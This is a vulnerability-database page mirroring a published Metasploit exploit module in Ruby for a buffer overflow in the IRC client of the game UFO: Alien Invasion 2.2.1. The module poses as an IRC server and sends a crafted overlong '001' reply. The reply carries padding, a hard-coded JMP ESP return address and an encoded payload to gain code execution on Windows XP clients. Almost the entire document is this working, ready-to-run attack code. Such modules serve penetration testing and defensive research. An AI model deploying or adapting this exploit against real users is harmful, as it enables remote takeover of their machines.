Lucene search
K

UFO: Alien Invasion IRC Client Buffer Overflow Exploit

🗓️ 02 Jul 2010 00:00:00Reported by Jason GeffnerType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 32 Views

UFO Alien Invasion IRC Client Buffer Overflow Exploi

Code
`##  
# $Id: ufo_ai.rb 9643 2010-07-01 19:54:48Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Exploit::Remote::TcpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow Exploit',  
'Description' => %q{  
This module exploits a buffer overflow in the IRC client component of  
UFO: Alien Invasion 2.2.1.  
},  
'Author' =>  
[  
'Jason Geffner', # Original Windows PoC Author  
'dookie' # MSF Module Author  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 9643 $',  
'References' =>  
[  
[ 'OSVDB', '65689'],  
[ 'URL', 'http://www.exploit-db.com/exploits/14013' ]  
],  
'Payload' =>  
{  
'Space' => 400,  
'BadChars' => "\x00\x0a\x0d",  
'MaxNops' => 0,  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP Universal', { 'Ret' => 0x0AE59A43 } ], # JMP ESP in SDL_ttf.dll  
],  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]),  
], self.class)  
  
end  
  
def on_client_connect(client)  
  
return if ((p = regenerate_payload(client)) == nil)  
  
print_status("Got client connection...")  
  
buffer = "001 :"  
buffer << rand_text_alpha_upper(552)  
buffer << [ target.ret ].pack('V')  
buffer << make_nops(8)  
buffer << payload.encoded  
buffer << "\x0d\x0a"  
  
print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")  
  
client.put(buffer)  
  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation